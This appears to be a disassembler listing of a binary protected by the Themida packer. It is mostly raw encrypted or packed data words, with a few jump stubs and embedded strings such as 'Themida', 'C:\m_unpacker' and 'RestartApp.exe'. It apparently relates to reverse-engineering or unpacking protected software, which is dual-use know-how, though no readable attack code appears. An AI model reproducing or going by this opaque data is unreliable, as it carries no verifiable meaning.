dd 6919E059h, 9FD0A7h, 0A32166AAh, 0E75A4BF9h, 22AF2900h
dd 52062E5h, 0F66F0109h, 70496E33h, 0F4805042h, 0B918E775h
dd 5C5497FCh, 45BF03B5h, 89D94F83h, 0BAF7E804h, 6480DF5Ah
dd 44B040FEh, 380039DDh, 6F284F73h, 73412D3Ch, 839E061Bh
dd 0A157F6C8h, 11F89D48h, 550C5D2Ch, 7081D472h, 0F9CD1407h
dd 4280E983h, 10ABB9Fh, 3FFC166h, 0C0DC1231h, 6091C238h
dd 6808F792h, 53BD8063h, 0DC881844h, 970C4300h, 580696ADh
dd 5F9FA21h, 0C0399EC6h, 59C04685h, 9500892Eh, 6BF9C362h
dd 53BF9Eh, 0D738F6BAh, 39C81454h, 0CD293D63h, 86F100ECh
dd 99160D2Dh, 0EA006EB5h, 1277F025h, 120FC250h, 59DF2E1h
dd 0A4C39D8h, 29C8958h, 0DFB54117h, 90744E20h, 0C8030CD3h
dd 4F6933F5h, 828EEA02h, 0AEEB7350h, 1D31C090h, 13E84Dh
dd 226DB14Ah, 9CC95D82h, 0A3E35F1Eh, 59C5CB0Dh, 388EFCh
dd 415EE217h, 0FA63D349h, 2883BF24h, 0AB05D500h, 0DCD6CF81h
dd 763A4031h, 979CE295h, 1459DC09h, 16680383h, 1590000Dh
dd 0A04191F5h, 0DC4DAA40h, 13C49060h, 0EC00B030h, 7341F218h
dd 51B9C0C8h, 75F8E8F1h, 0CA1F6D12h, 0FF8CAB00h, 24054D93h
dd 1388F22h, 69E3B39Dh, 1EEC325Fh, 942CC530h, 3BC81130h
dd 0CE90A980h, 0D6002032h, 0F865DB54h, 0B91F5328h, 0BF03158Dh
dd 0B893E36Ah, 3040BD49h, 74316BB4h, 38097906h, 80927133h
dd 0B041C580h, 4521C0D2h, 68AD40EFh, 0CA7F70A8h, 3DA0F904h
dd 988873F6h, 0F567B4Eh, 418292BFh, 0C60A6520h, 40008FC1h
dd 2CABADD9h, 615C4h, 5201360Bh, 8B86D741h, 0CB291B00h
dd 0B58A8D3Dh, 0E4887C79h, 0D63F0778h, 5F259CA2h, 0A9E33C60h
dd 5922A8A0h, 6A970030h, 0B1E0DE95h, 2D615A5Ch, 7BB70C19h
dd 97EBD4h, 0C9E1F7FBh, 0A0ADD09Eh, 74D1F226h, 600D711h
dd 91550D02h, 0D069CF8Fh, 1E3C00E9h, 2286CA31h, 0CE00274Dh
dd 0DE888958h, 1818F51Fh, 49C970E0h, 671E74B2h, 0C2407C6Eh
dd 8085349Fh, 44053D1Dh, 273E2E80h, 97BC5CD5h, 9F6DD3Eh
dd 98DE6DE2h, 0F219AD0h, 0C8456FA1h, 0AAF55162h, 2B2CFB41h
dd 0CFE1B700h, 66599EB6h, 32ECE932h, 80E2200h, 29F78AA6h
dd 8CBE31DAh, 357658h, 0B6BC2ADh, 45905267h, 12B0B805h
dd 81CC6174h, 0CFC8D8F7h, 0C0BC3048h, 3989EE1Eh, 0A9B265CEh
dd 5CB42059h, 0A9002436h, 0BFFDD46Dh, 24980926h, 1ACE140h
dd 0FE640270h, 0B558405Ah, 0F60931AFh, 0A0CD730Dh, 0EC7B9604h
dd 0BEC2022Bh, 0E2C86419h, 45FE4464h, 5F806CB9h, 0CE12EB55h
dd 0A6202642h, 3DF1005Eh, 2FF6B32Eh, 402CAF01h, 0FC6F8EDDh
dd 13D21CF4h, 0DC3426h, 93701634h, 824C69CEh, 17050384h
dd 0D5737Bh, 182DAB61h, 0E4E05BAEh, 9E42E500h, 0CB061976h
dd 3EB102FBh, 0CA89154Ah, 14EF9041h, 8C712040h, 127DB3F8h
dd 0EF57F3B1h, 31C06D00h, 5929F6Bh, 2D362905h, 0E0E08D94h
dd 7300B386h, 78771AC4h, 6FB9Fh, 9C09F38Dh, 13EBF689h
dd 3B29E01h, 3BCEF245h
dd 528B7980h, 0D608ED24h, 87CD5100h, 9DB3D02Eh, 0EA701E1h
dd 0F7898F62h, 0CF5C207Bh, 8B856913h, 37EC6000h, 0C34E7313h
dd 837833B9h, 0AE6D04F0h, 41397009h, 0C11019ACh, 818E408h
dd 1C39D172h, 8D770171h, 4420BAF4h, 984AD0DFh, 0A6B72900h
dd 0B687CFCBh, 0C0C82456h, 3AF4C028h, 0F21874D5h, 3519B140h
dd 723C05F6h, 0C8C3396Fh, 0A804E2ACh, 0F2A2C911h, 0CBB3A8C7h
dd 8E31003Ah, 0A3935E1Ch, 4338C395h, 9F8189D4h, 97EC1070h
dd 0EDCB0BB7h, 1CA1296Dh, 0D310761Ch, 281A07C1h, 4CF6008Ch
dd 0B815D8B0h, 7D38F893h, 81D25Bh, 17C4A2C4h, 88B981ACh
dd 0F291B880h, 19EE5AEh, 0C92AAB36h, 0E3619AFDh, 3060E69Ah
dd 2F88425Eh, 0BCE000BEh, 453B2C98h, 7E0019F6h, 0AD9F28F9h
dd 32A7780h, 72C35D10h, 0E10038CEh, 46CCC6A6h, 97F2Eh
dd 0F118E391h, 15CABC95h, 0C874DE37h, 0B9EDFA41h, 4097999Dh
dd 8142BC2Ch, 717B98D2h, 0BF51BAFDh, 259A489Eh, 0D444AABFh
dd 18F28609h, 0E07687D0h, 83810C91h, 75940EEh, 4CBE5E38h
dd 0CAA30002h, 2ED8DCA8h, 0C1363F7Dh, 0B7D75D80h, 0EBEE9091h
dd 15902460h, 244082CBh, 80F4CA73h, 0DDA81944h, 0DBFE791Eh
dd 8F34EA00h, 69FC55E4h, 998A65Ch, 0B280230Bh, 0EE46D40Eh
dd 0F00089B3h, 7D4B0E5Eh, 0E5C7CC5h, 0FFB58C61h, 8F4ED120h
dd 1D16B24Dh, 6400F3FEh, 3450FC13h, 3DCB24Ah, 39A01E26h
dd 512CBA4Dh, 0FF0034F8h, 9DE50AE0h, 113C1EE2h, 5CFCD56Bh
dd 765EA07h, 6A3370F3h, 6900EC20h, 2ACFC6E4h, 0F139940h
dd 16E8B8AFh, 6B82B420h, 790BE5FDh, 22FFCEC8h, 0A139CDB4h
dd 981487C4h, 5B3086C5h, 2BDB00F9h, 74C694Ah, 9100D6F8h
dd 90ADDF40h, 15F35006h, 90E11B8Ah, 0C005E894h, 410665h
dd 0EFA338E0h, 8116D052h, 6C305169h, 1E2B147Dh, 40267434h
dd 0C30759F5h, 0D702829Ch, 0C62E7791h, 0F8C40DAh, 284C01A9h
dd 9EF412Dh, 74082484h, 0FD3C5116h, 0E0C5510Eh, 6B16EE13h
dd 0F792010Eh, 66C3A2D4h, 0A520C8E7h, 0BF6F209h, 0A62C2093h
dd 0F2FBD682h, 0E072E8D1h, 0EBF70183h, 174D6BF0h, 29ADCD8Bh
dd 24C45098h, 0C810E002h, 0E476C570h, 1B1500F4h, 0A87A4421h
dd 8900808Ch, 0EDA52777h, 0F3D33Eh, 4F41B129h, 0AE3813D7h
dd 85701900h, 0BEF9D6D2h, 78D57452h, 380F88Bh, 0D8ECA1FAh
dd 207C672Ch, 28818300h, 1E85F8A9h, 72D7FA2Dh, 0F6070094h
dd 692A5F2h, 0C830A9B9h, 109D4990h, 0AC1939D8h, 0C680B63Ah
dd 5B5C79FFh, 67EC4C20h, 81BEC330h, 780981C4h, 0D58F008Eh
dd 0B851EA3Dh, 85037F31h, 0E5BF1A41h, 4A5906D7h, 996801D8h
dd 0A804F632h, 0D48F2065h, 82002302h, 4016C189h, 55884CCh
dd 0BF6317D7h, 4F2400EBh, 3E42030Fh, 88AC2B30h, 79223468h
dd 5FFB3C4Ah, 8B9AA380h, 8AE6A769h, 57A68C05h, 18003F8Eh
dd 219D22D8h, 0AB4A0187h, 5EADBCCDh, 9ED4C0D5h, 0B890CA00h
dd 2D0FEE8Eh, 5A100E0h, 0B19D6F3Ah, 926003BEh, 9BB4E789h
dd 10F600AFh, 0B5A0E135h, 4F01B1C9h, 8B93A5C1h, 704024CAh
dd 0BC8338h, 0EA57AB63h, 0DD8976Dh, 21C02577h, 42E940BAh
dd 4F74ACh, 0A31B70B3h, 0B4146B22h, 0C5C6AE03h, 37F2564h
dd 5090E031h, 94B3D9BDh, 6E5988A8h, 21582530h, 155A27h
dd 0EA419E0Dh, 65FEE7DBh, 9D017300h, 2993C118h, 26FC007Ah
dd 0F9801E7Eh, 77F8E6E2h, 0E0573Fh, 34FE9212h, 0EA3F7Ah
dd 0F18E4C10h, 0E1898347h, 9B1EC2F8h, 5705B802h, 0AC4F8BEDh
dd 293FC52Fh, 82D9B440h, 24061164h, 0FC72118h, 6BC0578Eh
dd 0C0DB0C43h, 9983F80Ch, 49C231D2h, 0EF002CDAh, 1470947Fh
dd 0E0002A5h, 1B01CD29h, 0E63C55h, 219F61FFh, 0B83D247Ah
dd 0FA140D00h, 67E73F4Dh, 2B6F00C8h, 971A6CBDh, 641C5EFFh
dd 17C050A6h, 5819B190h, 0BE69C280h, 0E8A093E8h, 3C0028Dh
dd 7DE0B44Fh, 1DB258F6h, 4D09A400h, 89E3574Ch, 6D19380Ch
dd 964188h, 3464B0A1h, 81A0185Fh, 939D4C0Eh, 0E90C57BEh
dd 282987h, 7C1B3263h, 0F18FFD3Eh, 9F24A00h, 536D11C4h
dd 712A3B27h, 19F32E80h, 8EB2851Dh, 939AE903h, 9BDC2E6h
dd 17FDE249h, 0C0216285h, 0B897CF31h, 730CEB00h, 0E22D10F7h
dd 0D8B164B4h, 233E4527h, 0DE32B043h, 0F19801FDh, 22A1ED31h
dd 6443D2E9h, 67E4E003h, 70343F75h, 907E31h, 1420DB10h
dd 72593536h, 11ECA348h, 0F73CD603h, 812511h, 0A6A3ECB7h
dd 908AE5h, 34983CF8h, 18E7D448h, 57000898h, 0DFAED88Ch
dd 1FB4D16h, 433410C0h, 363FD962h, 23930C5Ch, 0E1E117Eh
dd 9DD9D4DCh, 1B77A140h, 5B01D23Bh, 2A8D5698h, 91803CCAh
dd 0F1A75895h, 0B0093D8h, 87E6352h, 7D5A9Fh, 345346Dh
dd 0D8ED3F3Ah, 9C48024Ch, 0A20E3D0Fh, 64A119E2h, 422C02B0h
dd 235BAE72h, 0D0162C41h, 10A0C2DDh, 2D795553h, 481DCC26h
dd 7752A360h, 6E3C005Eh, 4D04B9AFh, 6D1F9029h, 0D87D8EF9h
dd 0CC3F297Fh, 47539802h, 0F8CFC032h, 9F6D004Eh, 3413E436h
dd 88247B42h, 0F4172CB1h, 84205312h, 990BD843h, 9B1630h
dd 0C8B0FB00h, 963C66B1h, 56259843h, 1EF2321h, 3754542h
dd 0D40CC562h, 0F13A51B1h, 689C00A4h, 0B34056BFh, 397C98E7h
dd 58F5F93Fh, 8C850CC9h, 0EC7D80EDh, 0C401D0A9h, 0F8222A3Fh
dd 0B0202D79h, 600A00D4h, 37D84DFFh, 0A103C828h, 0E8199894h
dd 311AE92h, 59DA3E51h, 68070FF4h, 35564A2Ch, 4F126DF1h
dd 84200830h, 5EBC44h, 2A2CD74h, 36212FBBh, 29F78600h
dd 0A13BF6B0h, 78C94801h, 22E59D80h, 770065D8h, 4AE85881h
dd 7FD4993h, 0A13E9036h, 0BF59CCC2h, 0D3C3CC00h, 2B336FFBh
dd 613FF28Ch, 0B59381D5h, 3601707Bh, 96002EF0h, 5C670994h
dd 68F4C0Fh, 1DCAF31Ah, 230078FAh, 0E9566FC9h, 7B2751CBh
dd 1F90750Fh, 40FC5966h, 1C2D47E1h, 2B053C3Ah, 8BCA5622h
dd 0BE28EC01h, 214D5ECh, 68FFFE94h, 412BE840h, 64254915h
dd 72E500E4h, 0AF47B7B8h, 0DE0E0008h, 2F88A93Bh, 6C99C36Bh
dd 7AC50100h, 0FF155505h, 0FCC1E8CBh, 0D8BD4CE3h, 0AEE1D837h
dd 0CA4231F8h, 0BD37A000h, 0E23056Fh, 8C99C9h, 80E28289h
dd 18A0C356h, 79023AEAh, 0F52F4B63h, 61786127h, 0DDC8B087h
dd 215185C1h, 32B4198Ch, 0AB340098h, 83B522C8h, 0F4D7529Bh
dd 732C40h, 0EB61B6FDh, 24D3994Eh, 561D90B1h, 7209AA40h
dd 0E470736h, 0C91619EBh, 0B8A5C07Dh, 8385D780h, 4824BC98h
dd 0C5408C25h, 5C5D0BE4h, 2C1140E2h, 70CA2864h, 61EED900h
dd 3107F2Dh, 0BE475CFh, 0E5345160h, 7A534100h, 78907318h
dd 0ADDB1C0h, 20CBEh, 27369278h, 0A384492Fh, 16771104h
dd 0D8903203h, 994EB399h, 0DBBB80E0h, 44E3BEEEh, 6FEF6E00h
dd 0C87EA3AFh, 0DD570428h, 8077220Ch, 0C55C1B8Bh, 802352h
dd 389D0E55h, 77C7C6h, 0E93FB3BDh, 678DC059h, 2FE17A00h
dd 6CFF14CBh, 71DB60C3h, 0A458C280h, 55E6C000h, 1E918866h
dd 0C5EA0098h, 50A7597Dh, 100C6E6Dh, 0E1229D83h, 8C2D4CD8h
dd 0F26FFF80h, 0E75DB1ABh, 57028040h, 1882BEh, 0BBF7DB24h
dd 0B14CF0B3h, 0C090434Ch, 0F1588321h, 19D51220h, 8004256Fh
dd 249EF290h, 986944h, 0D9B67D59h, 0C2A66FDh, 0F600B898h
dd 8EB550FBh, 17B4E198h, 5E9AF91h, 3E9234h, 1DB2D58h, 0A013045h
dd 577D7A4Dh
dd 0A8221AC9h, 3D076D58h, 0F38320h, 5F27A6BCh, 0AD551918h
dd 98AF0D91h, 9F7D299Ch, 86C780F4h, 71CAE334h, 0FAAD6000h
dd 0D3B7E796h, 5B113D8Ah, 3FB2B189h, 16576410h, 3755C0E5h
dd 6C2FC20Bh, 13AD80CBh, 5D3FC0F8h, 9C0094EFh, 404A5FA8h
dd 0A0B0A7FCh, 2188F448h, 8111D9h, 85ED9503h, 78D68D7h
dd 0F7A5CBFEh, 0FBC13FF2h, 5083249Fh, 174274A0h, 5E40C03h
dd 0C8C8D5D8h, 28D0CD75h, 0BF4577Fh, 3981D96Ch, 0CA941402h
dd 0F039EC64h, 36480070h, 6E3250B9h, 5A8F0946h, 4C849CBCh
dd 13E5422Ch, 0C6612h, 0E07EF087h, 491B7ABBh, 88B2C800h
dd 37D5F69Bh, 144F5C2Ch, 7F5D9307h, 8FF8EB2Eh, 3DF862B0h
dd 7283071Eh, 149AA639h, 0BF2D68Fh, 8E1807B2h, 0C0C889F3h
dd 31A4751h, 0D82918A4h, 0F10B6604h, 62F8598h, 411E50h
dd 867C8F57h, 6AF7B5C4h, 59EE3F30h, 18B062E3h, 604FEF8Eh
dd 78B8C680h, 0D730990Eh, 342036F7h, 0C27E9Dh, 0A23FCBF3h
dd 0BE554E68h, 0EEB7C303h, 3C315F7Ch, 9DBA6939h, 0C6CC2C01h
dd 0F0821507h, 39003591h, 0FEA62E4Bh, 13C8A940h, 30B19D0Fh
dd 87131A64h, 0B3AB91Dh, 3DA32280h, 6266FEh, 0A89903B3h
dd 6C21A49Ah, 7F2B31CBh, 35D2D002h, 0CF7D88C6h, 621038h
dd 52B13DDAh, 17295AAh, 200159A2h, 1094C9C4h, 0BEE02h
dd 5EC53E32h, 24E230BDh, 54618060h, 0E7AC5Ch, 0DB1CE003h
dd 0EC7A88BCh, 1C207F4Ah, 6355EFh, 903D02C0h, 2AB117F7h
dd 13C1141Ch, 0AD84704h, 93B8C8h, 0BA04C69Ch, 75320F4Ah
dd 2228EF4Ch, 0CCB2537Dh, 0BCCA0072h, 0B19702E1h, 0CC00098Fh
dd 0FF7BBFD7h, 15C241A3h, 0F01BCA95h, 4CC4007Ch, 17615269h
dd 7AE88F33h, 0A90B5BEAh, 85EE08F8h, 0F0013F3Ch, 0CF8D4CECh
dd 0D63041CAh, 86C2C98Ah, 414580A0h, 7362DF87h, 2D9BD13h
dd 1A24488h, 149866C4h, 9F6A2426h, 51DD3A19h, 0BACE2242h
dd 92F06088h, 21826124h, 0EC02A1D2h, 0ED005321h, 5B199CCDh
dd 242F7422h, 41C75CAh, 0CC67BDBCh, 0F50FE318h, 5C20F2EDh
dd 760C033Dh, 0D8DC037Bh, 0BFD84E9h, 0C31C86EFh, 0E42E2011h
dd 3C005E91h, 5FB3B7Ch, 3F24963h, 559C894Eh, 3AA0E302h
dd 0E500FAF4h, 0F6B37623h, 0F0691A6Fh, 2E4670F2h, 2D819D3h
dd 0B29C8777h, 38FE7C60h, 0D63F22h, 8B4F638Fh, 29A1B32Eh
dd 2103EA00h, 0B14E544Bh, 298EED3Fh, 0B800C7B7h, 0E50A8C84h
dd 4206B4Bh, 39AB3E0Ch, 1EF8A782h, 0FC29F0h, 74AF0A5Fh
dd 0D4A24179h, 0BC170EC0h, 0F34C8305h, 3C8C3ED8h, 1CC526Eh
dd 60FBFFFFh, 0
db 0
; ---------------------------------------------------------------------------
loc_581469: ; CODE XREF: Themida_:loc_515265j
; DATA XREF: Themida_:loc_515086o
jmp loc_5849FA
; ---------------------------------------------------------------------------
align 10h
dd 0
dd 6EF00000h, 25Dh, 2130000h, 0B8h, 2 dup(0)
dd 90E90000h, 52h, 2 dup(0)
dd 1380000h, 0FFEDh, 3 dup(0)
dd 34AF0000h, 0F470h, 0
dd 800000h, 3 dup(0)
dd 8D8D0000h, 0DC55h, 0FA030000h, 24C600B2h, 58h, 2 dup(0)
dd 77EC0000h, 0B7h, 16h dup(0)
dd 0B00000h, 88h dup(0)
dd 0FFFF0000h, 0FFFFh, 9 dup(0)
dd 10000h, 5C980000h, 4 dup(0)
dd 9AAE0000h, 60h, 0
dd 4B510000h, 0AEA4005Fh, 5Bh, 7 dup(0)
dd 77DDh, 8 dup(0)
dd 0A4F10000h, 15A00000h, 4275h, 0AB7D0000h, 129h, 4 dup(0)
; ---------------------------------------------------------------------------
retn 0E400h
; ---------------------------------------------------------------------------
db 5Ah
dd 2 dup(0)
dd 0EDE20000h, 9FC2005Eh, 79E005Dh, 0F829h, 11h dup(0)
dd 1F40000h, 61210000h, 2F950000h, 16Dh, 6 dup(0)
dd 373E0000h, 0FFA3h, 31260000h, 0C550h, 4 dup(0)
dd 78600000h, 3B6029Ah, 695E0000h, 0E5400061h, 2DDh, 2 dup(0)
dd 0EC720000h, 5Eh, 3 dup(0)
dd 0DA320000h, 0EB945B95h, 7C90h, 2 dup(0)
dd 8D200000h, 3D4400B2h, 0FFFDh, 0Dh dup(0)
dd 0A06C0000h, 5Bh, 2 dup(0)
dd 0A1930000h, 0ED076B5h, 0FFF000B2h, 0D1D60012h, 2772005Dh
dd 105005Fh, 1F5D0A28h, 9391h, 188E0000h, 58h, 4 dup(0)
dd 0DDF90000h, 7C90h, 8 dup(0)
dd 0CBB0000h, 5Bh, 2 dup(0)
dd 10000h, 0
dd 0CDDA0000h, 7C81h, 230000h, 3333005Bh, 2 dup(33333333h)
dd 3333h, 3 dup(0)
dd 10000h, 3 dup(0)
dd 0F07B0000h, 4B3E06h, 4E6C0000h, 5Ch, 0C8640000h, 26CDh
dd 0
dd 0AB7D0000h, 67660129h, 4E37h, 8F380000h, 9C7BFBh, 7 dup(0)
dd 980000h, 0C5D80000h, 6A67h, 0BAAC0000h, 566601A1h, 5Bh
dd 725C0000h, 7C31h, 9BE90000h, 5 dup(0)
dd 5B340000h, 3 dup(0)
dd 40C60000h, 5Ch, 87C20000h, 0DA7Fh, 2 dup(0)
dd 0FFFC0000h, 0FFFFh, 3 dup(0)
dd 0EB240000h, 9DC8005Eh, 0FFFFh, 6 dup(0)
dd 1CC40000h, 7C4Fh, 0
dd 0CBB0000h, 1005Bh, 0
dd 14E80000h, 2 dup(0)
dd 24EF0000h, 0B438h, 27h dup(0)
dd 0A8CF0000h, 0D64400B2h, 0FFFCh, 0A7h, 0
dd 7C0000h, 3 dup(0)
dd 10BE0000h, 0
dd 29180000h, 0B2h, 2 dup(0)
dd 0FFB00000h, 0F7950163h, 0FA6h, 3 dup(0)
dd 0A8AD0000h, 7E41h, 10000h, 2 dup(0)
dd 0EB940000h, 0EB947C90h, 7C90h, 40CE0000h, 58h, 3F580000h
dd 7C86h, 10000h, 5Fh, 7 dup(0)
dd 15BB0000h, 5Fh, 2 dup(0)
dd 0DFFF0000h, 7FEE005Bh, 0FFE6h, 9 dup(0)
dd 12B50000h, 43B0005Ch, 0F554h, 2 dup(0)
dd 10000h, 0
dd 55620000h, 5Dh, 1BF60000h, 7C80h, 14410000h, 0EB94EB24h
dd 7C90h, 9 dup(0)
dd 0AC530000h, 0E702h, 0
dd 0BD6A0000h, 90716Eh, 5 dup(0)
dd 15DC0000h, 5Eh, 0EB940000h, 0EE187C90h, 7C90h, 13h dup(0)
dd 0DA440000h, 0C246h, 5 dup(0)
dd 68540000h, 64696D65h, 61h, 20h dup(0)
dd 5ED50000h, 0E772005Dh, 0FFA7h, 3 dup(0)
dd 30DF0000h, 0A9C5h, 0
dd 0EB940000h, 7C90h, 7 dup(0)
dd 6E9C0000h, 0B4158001h, 5Dh, 0E2250000h, 3103FFA2h, 11E827C0h
dd 3788836Fh, 1CA6h, 0
dd 0CDDA0000h, 0EFFB7C81h, 0FFAAh, 1C920000h, 5Ch, 0FA030000h
dd 0CB8D00B2h, 5B240012h, 8 dup(0)
dd 10000h, 2 dup(0)
dd offset dword_53FE4C+1B4h
dd 8 dup(0)
dd 0D9370000h, 7DDFh, 8 dup(0)
dd 2A9A0000h, 44AFh, 3 dup(0)
dd 17900000h, 76F2h, 3 dup(0)
dd 0A00000h, 0D42F0000h, 8A650000h, 0C5DAh, 0B44E0000h
dd 5Dh, 2 dup(0)
dd 8B280000h, 0B2h, 3 dup(0)
dd 0F9850000h, 0FF54DCEFh, 9B470012h, 2F5B7C80h, 5Ch, 24140000h
dd 0
dd 0EB940000h, 7C90h, 0
dd 0D3D20000h, 7D1FFA4h, 0E3EA0000h, 5Bh, 2 dup(0)
dd 11B40000h, 4 dup(0)
dd 0DC920000h, 53B9h, 188E0000h, 409A0058h, 58h, 5 dup(0)
dd 0D3410000h, 0FFA4h, 0
dd 12h, 700000h, 0
dd 0EB940000h, 7C90h, 19h dup(0)
dd 26600000h, 5Ch, 9 dup(0)
dd 0F9B00000h, 2 dup(0)
dd 0FFA40000h, 0FF600012h, 58110012h, 58h, 12h dup(0)
dd 5CB00000h, 36AFh, 0
dd 6D00000h, 2 dup(0)
dd 92930000h, 5Eh, 0
dd 0EB9400B2h, 7C90h, 0FFFF0000h, 0BFFFh, 0Ah dup(0)
dd 7A380000h, 18426296h, 0FE8000B2h, 0C4730012h, 0FFFFh
dd 0
dd 455F0000h, 837Fh, 27h dup(0)
dd 0FEBC0000h, 12h, 0A06C0000h, 5Bh, 0Bh dup(0)
dd 58E70000h, 5Bh, 0
dd 30BA0000h, 12h, 0
dd 409A0000h, 58h, 2 dup(0)
dd 70000000h, 5Fh, 4 dup(0)
dd 74710000h, 0F846h, 0
dd 0C05B0000h, 0FFA3h, 3 dup(0)
dd 0A06C0000h, 5Bh, 75A60000h, 5Dh, 0CDF30000h, 0C8C1h
dd 27720000h, 5Fh, 4 dup(0)
dd 0F6C00000h, 71h, 7717026Dh, 2CFFA1h, 64290254h
db 5Dh, 2 dup(0)
byte_582323 db 0 ; DATA XREF: ___:off_444868o
dd 3 dup(0)
dd 30DF0000h, 0A9C5h, 0
dd 0A69C0000h, 5Ch, 0EB940000h, 7C90h, 190000h, 9E5E0000h
dd 0
dd 3E0000h, 7C80h, 50140000h, 11h, 0EB940000h, 7C90h, 0
dd 0FFB00000h, 183h, 0
dd 0EB940000h, 7C90h, 4 dup(0)
dd 0F6F00000h, 7981h, 82200000h, 0BC77h, 7 dup(0)
dd 15100000h, 76F2h, 4F000000h, 0C718h, 3 dup(0)
dd 37240000h, 15h, 8B3F0000h, 0EB940000h, 7C90h, 11110000h
dd 1111h, 5 dup(0)
dd 0F91F0000h, 1D4Dh, 0
dd 846C0000h, 15B1Eh, 4 dup(0)
dd 1A440000h, 0B2h, 0EB940000h, 7C90h, 8 dup(0)
dd 78600000h, 29Ah, 2 dup(0)
dd 5C90000h, 0FF4Dh, 2 dup(0)
dd 8DDC0000h, 0FFFFh, 0AB7D0000h, 1C080129h, 4 dup(0)
dd 72190000h, 39DAh, 0Fh dup(0)
dd 4C1E0000h, 0
dd 0FF540000h, 12h, 0
dd 1C9A0000h, 5Dh, 2 dup(0)
dd 0D990000h, 88005Dh, 0F6FC0000h, 4C91h, 4 dup(0)
db 90h
db 7Ch, 2 dup(0)
dd 3 dup(0)
dd 1CF70000h, 0B5h, 2 dup(0)
dd 0CDF30000h, 0C8C1h, 4 dup(0)
dd 3490000h, 0FFA3h, 6 dup(0)
dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 80h dup(0)
dd 8E510000h, 0B2h, 0D10F0000h, 5Fh, 98200000h, 5Eh, 15A00000h
dd 4275h, 0
dd 26990000h, 5864h, 2 dup(0)
dd 0EE1F0000h, 0C072h, 0
dd 6C1D0000h, 5Fh, 0Bh dup(0)
dd 0B80000h, 0B000000h, 0C20374C0h, 448B0018h, 0E8530C24h
dd 0
; ---------------------------------------------------------------------------
pop ebx
add ebx, 17h
mov [esp+10h], ebx
mov [esp+14h], eax
pop ebx
mov eax, 0B2FA37h
jmp eax
; ---------------------------------------------------------------------------
mov eax, [esp+4]
jmp eax
; ---------------------------------------------------------------------------
align 10h
dd 15h dup(0)
dd 59740000h, 8655h, 6 dup(0)
dd 0FFFF0000h, 0FFFFh, 0F0FC0000h, 6629F3F1h, 75Ah, 5 dup(0)
dd 770000h, 84B116h, 2 dup(0)
dd 640000h, 0EB940000h, 7C90h, 0
dd 9F780000h, 60h, 6 dup(0)
dd 35570000h, 7652h, 8C0000h, 24C60000h, 58h, 0
dd 201A0000h, 74E5h, 0CBB0000h, 5Bh, 2 dup(0)
dd 0B5080000h, 0B2h, 0
dd 5AB50000h, 0DCD2F97Eh, 0FFA4h, 0ED00000h, 0B2h, 3 dup(0)
dd 8D8D0000h, 98860D20h, 9EF6h, 2 dup(0)
dd 0A250000h, 100B2h, 4 dup(0)
dd 9BCC0000h, 60h, 0
dd 29180000h, 0B2h, 2 dup(0)
dd 0A40000h, 3 dup(0)
dd 3F0F0000h, 0B8h, 0
dd 0E9390000h, 9E6D1DF6h, 60h, 67h dup(0)
dd 0A280000h, 10000h, 0EB940000h, 7C90h, 0
dd 0B0CC0000h, 60h, 0Bh dup(0)
dd 0F290000h, 5Fh, 0B4CF0000h, 7C80h, 56430000h, 0Eh dup(0)
dd 11C60000h, 0Eh dup(0)
dd 9E5E0000h, 6526h, 2800000h, 3 dup(0)
dd 20000000h, 5 dup(0)
dd 5FD0254h, 0FF4Dh, 7 dup(0)
dd 0AEA10000h, 0B2h, 2 dup(0)
dd 9AAE0000h, 60h, 0FFB00000h, 11DA01F3h, 8D8D7C81h, 0EA36h
dd 4 dup(0)
dd 98200000h, 5Eh, 15A00000h, 4275h, 9B470000h, 7C80h
dd 0FE00000h, 0F8FFh, 7C80h, 6 dup(0)
dd 1D770000h, 7C80h, 4 dup(0)
dd 0AB7D0000h, 129h, 7C0D0000h, 768AE805h, 5Fh, 7 dup(0)
dd 0B49B0000h, 0B30500B8h, 2 dup(0)
dd 230000h, 58h, 40000h, 9E6D0000h, 60h, 0
dd 230000h, 58h, 0
dd 0A4DD0000h, 5Bh, 9 dup(0)
dd 5620000h, 9400CEh, 80A00000h, 9F783A7Ah, 60h, 1Dh dup(0)
dd 0D80000h, 39FBh, 0
dd 805A0000h, 0FFA3h, 49710000h, 57F4h, 0
dd 9EE60000h, 5Bh, 0
dd 10000h, 5 dup(0)
dd 0FFB00000h, 143h, 2 dup(0)
dd 146C0000h, 836Fh, 3 dup(0)
dd 0DD89h, 0
dd 22800000h, 0A0E86Ch, 0
dd 4AF20000h, 7C81h, 3 dup(0)
dd 680000h, 226B0000h, 60h, 6 dup(0)
dd 94170000h, 0B2h, 0
dd 43510000h, 2C00h, 0F44B0000h, 2638B4DCh, 106F0000h
dd 0C08B4AFBh, 5B20BD83h, 0A3B2h, 2 dup(0)
dd 0AB7D0000h, 129h, 0
dd 40F60000h, 9F7800BAh, 60h, 3 dup(0)
dd 9AAE0000h, 564C0060h, 5Bh, 0Bh dup(0)
dd 37D50000h, 3, 2 dup(0)
dd 280A0000h, 58h, 0
dd 0D6870000h, 5Bh, 4 dup(0)
dd 0FF3A0000h, 177D005Eh, 5Eh, 11h dup(0)
dd 3E0000h, 7C80h, 5 dup(0)
dd 19F00000h, 0B2h, 2 dup(0)
dd 0EB940000h, 2 dup(0)
dd 0D4270000h, 80D3h, 2Dh dup(0)
dd 0BA8F0000h, 7CEEh, 0EB940000h, 7C90h, 3 dup(0)
dd 0AB230000h, 590FFFFFh, 42AA005Bh, 58h, 0EB940000h, 7C90h
dd 0EB940000h, 7C90h, 31E50000h, 0B8h, 7 dup(0)
dd 0DB3C0000h, 8D8DEEC7h, 1E69FEF1h, 0EF9C00B8h, 0FEFAh
dd 0FF540000h, 12h, 4 dup(0)
dd 0EA000000h, 2 dup(0)
dd 0EB940000h, 67E07C90h, 0ABDEFFFFh, 7C80h, 6 dup(0)
dd 35CC0000h, 7883FFA2h, 77DDh, 3 dup(0)
dd 8D8D0000h, 9C63h, 0
dd 2C2E0000h, 5Bh, 0Fh dup(0)
dd 4BA80000h, 14h, 7 dup(0)
dd 113C0000h, 91A3005Fh, 5048005Bh, 58h, 3 dup(0)
dd 0DC320000h, 65520000h, 72617473h, 70704174h, 6578652Eh
dd 2 dup(0)
dd 10000h, 0FFC40000h, 85760012h, 0AD14005Ch, 5Dh, 7E41h
dd 3 dup(0)
dd 25700000h, 0FFFFh, 0B7h dup(0)
dd 10000h, 5Fh, 0C6990000h, 5Ah, 5 dup(0)
dd 0DF3A0000h, 35D7h, 0
dd 8EA50000h, 0ADA0097Dh, 7C80h, 0BD180000h, 4530005Bh
dd 7CCBh, 7E80000h, 0
dd 70F80000h, 0FF4Dh, 0
